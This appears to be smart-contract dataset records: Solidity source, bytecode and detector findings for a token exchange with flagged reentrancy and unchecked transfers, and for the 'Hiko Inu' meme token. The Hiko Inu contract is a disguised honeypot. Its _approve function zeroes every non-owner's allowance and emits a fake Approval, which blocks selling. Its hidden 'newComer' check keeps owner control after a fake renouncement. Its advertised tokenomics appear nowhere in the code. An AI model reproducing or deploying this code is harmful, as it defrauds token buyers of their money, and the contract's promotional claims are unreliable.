uint256 weiAmount, uint256 totalTransactionTokens, address indexed buyer, address indexed seller); event TakeSellOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, uint256 weiAmount, uint256 totalTransactionWei, address indexed buyer, address indexed seller); function() public { revert(); } function changeAdmin(address admin_) public { require(msg.sender == admin); admin = admin_; } function changeGBTAddress(address gbtAddress_) public { require(msg.sender == admin); require(block.number > GBT(gbtAddress).expirationBlock()); gbtAddress = gbtAddress_; } function changeLastFreeBlock(uint256 _lastFreeBlock) public { require(msg.sender == admin); require(_lastFreeBlock > block.number + 100); //announce at least 100 blocks ahead lastFreeBlock = _lastFreeBlock; } function changeFeeAccount(address feeAccount_) public { require(msg.sender == admin); feeAccount = feeAccount_; } function changeMakeFee(uint256 makeFee_) public { require(msg.sender == admin); require(makeFee_ < makeFee); makeFee = makeFee_; } function changeTakeFee(uint256 takeFee_) public { require(msg.sender == admin); require(takeFee_ < takeFee); takeFee = takeFee_; } function feeFromTotalCostForAccount(uint256 totalCost, uint256 feeAmount, address account) public constant returns (uint256) { return feeFromTotalCost(totalCost, feeAmount); } function feeFromTotalCost(uint256 totalCost, uint256 feeAmount) public constant returns (uint256) { uint256 cost = safeMul(totalCost, (1 ether)) / safeAdd((1 ether), feeAmount); // Calculate ceil(cost). uint256 remainder = safeMul(totalCost, (1 ether)) % safeAdd((1 ether), feeAmount); if (remainder != 0) { cost = safeAdd(cost, 1); } uint256 fee = safeSub(totalCost, cost); return fee; } function calculateFeeForAccount(uint256 cost, uint256 feeAmount, address account) public constant returns (uint256) { return calculateFee(cost, feeAmount); } function calculateFee(uint256 cost, uint256 feeAmount) public constant returns (uint256) { uint256 fee = safeMul(cost, feeAmount) / (1 ether); return fee; } // Makes an offer to trade tokenAmount of ERC20 token, token, for weiAmount of wei. function makeSellOrder(address token, uint256 tokenAmount, uint256 weiAmount) public { require(tokenAmount != 0); require(weiAmount != 0); bytes32 h = sha256(token, tokenAmount, weiAmount, msg.sender); // Update balance. sellOrderBalances[h] = safeAdd(sellOrderBalances[h], tokenAmount); // Check allowance. -- Done after updating balance bc it makes a call to an untrusted contract. require(tokenAmount <= ERC20Interface(token).allowance(msg.sender, this)); // Grab the token. if (!ERC20Interface(token).transferFrom(msg.sender, this, tokenAmount)) { revert(); } MakeSellOrder(h, token, tokenAmount, weiAmount, msg.sender); } // Makes an offer to trade msg.value wei for tokenAmount of token (an ERC20 token). function makeBuyOrder(address token, uint256 tokenAmount) public payable { require(tokenAmount != 0); require(msg.value != 0); uint256 fee = feeFromTotalCost(msg.value, makeFee); uint256 valueNoFee = safeSub(msg.value, fee); bytes32 h = sha256(token, tokenAmount, valueNoFee, msg.sender); //put ether in the buyOrderBalances map buyOrderBalances[h] = safeAdd(buyOrderBalances[h], msg.value); // Notify all clients. MakeBuyOrder(h, token, tokenAmount, valueNoFee, msg.sender); } // Cancels all previous offers by msg.sender to trade tokenAmount of tokens for weiAmount of wei. function cancelAllSellOrders(address token, uint256 tokenAmount, uint256 weiAmount) public { bytes32 h = sha256(token, tokenAmount, weiAmount, msg.sender); uint256 remain = sellOrderBalances[h]; delete sellOrderBalances[h]; ERC20Interface(token).transfer(msg.sender, remain); CancelSellOrder(h, token, tokenAmount, weiAmount, msg.sender); } // Cancels any previous offers to trade weiAmount of wei for tokenAmount of tokens. Refunds the wei to sender. function cancelAllBuyOrders(address token, uint256 tokenAmount, uint256 weiAmount) public { bytes32 h = sha256(token, tokenAmount, weiAmount, msg.sender); uint256 remain = buyOrderBalances[h]; delete buyOrderBalances[h]; if (!msg.sender.send(remain)) { revert(); } CancelBuyOrder(h, token, tokenAmount, weiAmount, msg.sender); } // Take some (or all) of the ether (minus fees) in the buyOrderBalances hash in exchange for totalTokens tokens. function takeBuyOrder(address token, uint256 tokenAmount, uint256 weiAmount, uint256 totalTokens, address buyer) public { require(tokenAmount != 0); require(weiAmount != 0); require(totalTokens != 0); bytes32 h = sha256(token, tokenAmount, weiAmount, buyer); // How many wei for the amount of tokens being sold? uint256 transactionWeiAmountNoFee = safeMul(totalTokens, weiAmount) / tokenAmount; // Does the buyer (maker) have enough money in the contract? uint256 unvestedMakeFee = calculateFee(transactionWeiAmountNoFee, makeFee); uint256 totalTransactionWeiAmount = safeAdd(transactionWeiAmountNoFee, unvestedMakeFee); require(buyOrderBalances[h] >= totalTransactionWeiAmount); // Calculate the actual vested fees. uint256 currentTakeFee = calculateFeeForAccount(transactionWeiAmountNoFee, takeFee, msg.sender); uint256 currentMakeFee = calculateFeeForAccount(transactionWeiAmountNoFee, makeFee, buyer); // Proceed with transferring balances. // Update our internal accounting. buyOrderBalances[h] = safeSub(buyOrderBalances[h], totalTransactionWeiAmount); // Did the seller send enough tokens? -- This check is here bc it calls to an untrusted contract. require(ERC20Interface(token).allowance(msg.sender, this) >= totalTokens); // Send buyer their tokens and any fee refund. if (currentMakeFee < unvestedMakeFee) {// the buyer got a fee discount. Send the refund. uint256 refundAmount = safeSub(unvestedMakeFee, currentMakeFee); if (!buyer.send(refundAmount)) { revert(); } } if (!ERC20Interface(token).transferFrom(msg.sender, buyer, totalTokens)) { revert(); } // Grab our fee. if (safeAdd(currentTakeFee, currentMakeFee) > 0) { if (!feeAccount.send(safeAdd(currentTakeFee, currentMakeFee))) { revert(); } } // Send seller the proceeds. if (!msg.sender.send(safeSub(transactionWeiAmountNoFee, currentTakeFee))) { revert(); } TakeBuyOrder(h, token, tokenAmount, weiAmount, totalTokens, buyer, msg.sender); } function takeSellOrder(address token, uint256 tokenAmount, uint256 weiAmount, address seller) public payable { require(tokenAmount != 0); require(weiAmount != 0); bytes32 h = sha256(token, tokenAmount, weiAmount, seller); // Check that the contract has enough token to satisfy this order. uint256 currentTakeFee = feeFromTotalCostForAccount(msg.value, takeFee, msg.sender); uint256 transactionWeiAmountNoFee = safeSub(msg.value, currentTakeFee); uint256 totalTokens = safeMul(transactionWeiAmountNoFee, tokenAmount) / weiAmount; require(sellOrderBalances[h] >= totalTokens); // Calculate total vested fee. uint256 currentMakeFee = calculateFeeForAccount(transactionWeiAmountNoFee, makeFee, seller); uint256 totalFee = safeAdd(currentMakeFee, currentTakeFee); uint256 makerProceedsAfterFee = safeSub(transactionWeiAmountNoFee, currentMakeFee); // Transfer. // Update internal accounting. sellOrderBalances[h] = safeSub(sellOrderBalances[h], totalTokens); // Send buyer the tokens. if (!ERC20Interface(token).transfer(msg.sender, totalTokens)) { revert(); } // Take our fee. if (totalFee > 0) { if (!feeAccount.send(totalFee)) { revert(); } } // Send seller the proceeds. if (!seller.send(makerProceedsAfterFee)) { revert(); } TakeSellOrder(h, token, tokenAmount, weiAmount, transactionWeiAmountNoFee, msg.sender, seller); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d02369b1461014e5780630f5137f9146101ad578063181aa1fd146101e85780631e215f701461021157806320c8651b14610266578063284e41751461028f5780632c577347146102c857806334e73122146102eb57806341db18751461032b5780635a476e5a1461036257806365e17c9d1461039d57806369af0634146103f25780636dc924261461043d57806371ffcb161461048857806372d744e0146104c15780638f24f2a3146105015780638f283970146105745780639a8ae2fa146105ad578063a4094a0d146105d0578063ddc53c2c1461062f578063e61b762b14610658578063eefea6b7146106a3578063f1ae543714610702578063f851a44014610725575b341561014957600080fd5b600080fd5b6101ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061077a565b005b34156101b857600080fd5b6101d2600480803560001916906020019091905050610b60565b6040518082815260200191505060405180910390f35b34156101f357600080fd5b6101fb610b78565b6040518082815260200191505060405180910390f35b341561021c57600080fd5b610224610b7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027157600080fd5b610279610ba4565b6040518082815260200191505060405180910390f35b341561029a57600080fd5b6102c6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610baa565b005b34156102d357600080fd5b6102e96004808035906020019091905050610cff565b005b34156102f657600080fd5b6103156004808035906020019091908035906020019091905050610d74565b6040518082815260200191505060405180910390f35b610360600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610da0565b005b341561036d57600080fd5b610387600480803560001916906020019091905050610f75565b6040518082815260200191505060405180910390f35b34156103a857600080fd5b6103b0610f8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103fd57600080fd5b61043b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610fb3565b005b341561044857600080fd5b610486600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611186565b005b341561049357600080fd5b6104bf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611542565b005b34156104cc57600080fd5b6104eb60048080359060200190919080359060200190919050506115e1565b6040518082815260200191505060405180910390f35b341561050c57600080fd5b610572600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611677565b005b341561057f57600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c08565b005b34156105b857600080fd5b6105ce6004808035906020019091905050611ca6565b005b34156105db57600080fd5b610619600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d1c565b6040518082815260200191505060405180910390f35b341561063a57600080fd5b610642611d31565b6040518082815260200191505060405180910390f35b341561066357600080fd5b6106a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611d37565b005b34156106ae57600080fd5b6106ec600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f91565b6040518082815260200191505060405180910390f35b341561070d57600080fd5b6107236004808035906020019091905050611fa6565b005b341561073057600080fd5b61073861201b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806000806000806000808a1415151561079457600080fd5b600089141515156107a457600080fd5b60028b8b8b8b600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f1151561086857600080fd5b50506040518051905096506108803460045433611f91565b955061088c3487612040565b945088610899868c612059565b8115156108a257fe5b0493508360066000896000191660001916815260200190815260200160002054101515156108cf57600080fd5b6108dc856003548a611d1c565b92506108e8838761208c565b91506108f48584612040565b905061091b6006600089600019166000191681526020019081526020016000205485612040565b600660008960001916600019168152602001908152602001600020819055508a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156109e557600080fd5b6102c65a03f115156109f657600080fd5b505050604051805190501515610a0b57600080fd5b6000821115610a7757600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610a7657600080fd5b5b8773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ab757600080fd5b8773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f4a42a397fcad5d4d60ebf2e7cf663489e687e9c6d2d2cf518488fc78044815ba8a8e8e8b60405180856000191660001916815260200184815260200183815260200182815260200194505050505060405180910390a45050505050505050505050565b60066020528060005260406000206000915090505481565b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636d4170646000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610c9357600080fd5b6102c65a03f11515610ca457600080fd5b5050506040518051905043111515610cbb57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5a57600080fd5b60035481101515610d6a57600080fd5b8060038190555050565b600080670de0b6b3a7640000610d8a8585612059565b811515610d9357fe5b0490508091505092915050565b6000806000808414151515610db457600080fd5b60003414151515610dc457600080fd5b610dd0346003546115e1565b9250610ddc3484612040565b9150600285858433600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f11515610ea257600080fd5b5050604051805190509050610ed2600760008360001916600019168152602001908152602001600020543461208c565b600760008360001916600019168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f849e6b1794b7cb3bede4d37c1ca77bb512d0cdb3dda8603bfb5d04ce1650c8ce838786604051808460001916600019168152602001838152602001828152602001935050505060405180910390a35050505050565b60076020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600285858533600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f1151561107a57600080fd5b5050604051805190509150600760008360001916600019168152602001908152602001600020549050600760008360001916600019168152602001908152602001600020600090553373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561110257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fdfcbc298f038f8dfeed385de93132b213796782867265b3fb3cf96523ad1a81b848787604051808460001916600019168152602001838152602001828152602001935050505060405180910390a35050505050565b600080831415151561119757600080fd5b600082141515156111a757600080fd5b600284848433600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f1151561126b57600080fd5b505060405180519050905061129b600660008360001916600019168152602001908152602001600020548461208c565b600660008360001916600019168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561139157600080fd5b6102c65a03f115156113a257600080fd5b5050506040518051905083111515156113ba57600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561149957600080fd5b6102c65a03f115156114aa57600080fd5b5050506040518051905015156114bf57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f0a728b85095c48da44dc9e607993a04f5e3af97a235fb2d805ffc363fa74bffa838686604051808460001916600019168152602001838152602001828152602001935050505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000806115f9670de0b6b3a76400008661208c565b61160b87670de0b6b3a7640000612059565b81151561161457fe5b049250611629670de0b6b3a76400008661208c565b61163b87670de0b6b3a7640000612059565b81151561164457fe5b06915060008214151561165f5761165c83600161208c565b92505b6116698684612040565b905080935050505092915050565b6000806000806000806000808b1415151561169157600080fd5b60008a141515156116a157600080fd5b600089141515156116b157600080fd5b60028c8c8c8b600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f1151561177557600080fd5b50506040518051905096508a61178b8a8c612059565b81151561179457fe5b0495506117a386600354610d74565b94506117af868661208c565b93508360076000896000191660001916815260200190815260200160002054101515156117db57600080fd5b6117e88660045433611d1c565b92506117f7866003548a611d1c565b915061181e6007600089600019166000191681526020019081526020016000205485612040565b60076000896000191660001916815260200190815260200160002081905550888c73ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561191557600080fd5b6102c65a03f1151561192657600080fd5b505050604051805190501015151561193d57600080fd5b848210156119925761194f8583612040565b90508773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561199157600080fd5b5b8b73ffffffffffffffffffffffffffffffffffffffff166323b872dd338a8c6000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611a7157600080fd5b6102c65a03f11515611a8257600080fd5b505050604051805190501515611a9757600080fd5b6000611aa3848461208c565b1115611b1557600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611aef858561208c565b9081150290604051600060405180830381858888f193505050501515611b1457600080fd5b5b3373ffffffffffffffffffffffffffffffffffffffff166108fc611b398886612040565b9081150290604051600060405180830381858888f193505050501515611b5e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff168d73ffffffffffffffffffffffffffffffffffffffff167f8de9ee05a363c847bda3ed15fc9011be60b55c7cf2e7c024c173859ed2d3760c8a8f8f8f60405180856000191660001916815260200184815260200183815260200182815260200194505050505060405180910390a4505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d0157600080fd5b6064430181111515611d1257600080fd5b8060058190555050565b6000611d288484610d74565b90509392505050565b60055481565b600080600285858533600060405160200152604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060206040518083038160008661646e5a03f11515611dfe57600080fd5b5050604051805190509150600660008360001916600019168152602001908152602001600020549050600660008360001916600019168152602001908152602001600020600090558473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611ef157600080fd5b6102c65a03f11515611f0257600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f22ff11109a205aa0810b30f9b2e68274f2eef8e292585877f61cf0a0a3b4637e848787604051808460001916600019168152602001838152602001828152602001935050505060405180910390a35050505050565b6000611f9d84846115e1565b90509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200157600080fd5b6004548110151561201157600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115151561204e57fe5b818303905092915050565b6000808284029050600084148061207a575082848281151561207757fe5b04145b151561208257fe5b8091505092915050565b60008082840190508381101580156120a45750828110155b15156120ac57fe5b80915050929150505600a165627a7a72305820b13902516e29f51d6ad675fd1796ab849e4a1a4a77c7697c68d1cd47c4ed87dd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,848
0xf35a02232e5c2c3cf887acf3ed7b4fc3f5ecbb55
/* From 'Shib This' to 'Doge That', aren't we all tired of the same old recycled concepts with zero utility. Boring.....To welcome the new year we want to launch something different Hiko Inu is ready to lead a new era of hybrid meme tokens. We look forward to welcoming all you degen and apes in true meme coin fashion, are you ready to make some STONKS?! Tokenomics ✅1% Reflections to Holders ✅1% Dev Tax ✅8% Marketing & Utilities 🤑 24 Hour Anti Dump Tax 15% (13% Marketing, 1% Reflections, 1% Dev Tax) Total Supply 🪙 One Billion Total Supply (1,000,000,000) 50% BURNED AT LAUNCH🔥 Launching With Anti Bot, Anti Whale & Anti Dump Measures set in place🚫 Launch Date & Time - 30th Dec Between 9 - 10pm EST 🔕CHAT WILL BE MUTED UNTIL WE LAUNCH!🔕 Website: https://www.hikoinu.com Telegram: https://t.me/HikoInu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HikoInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Hiko Inu ' ; string private _symbol = 'HIKO ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b50925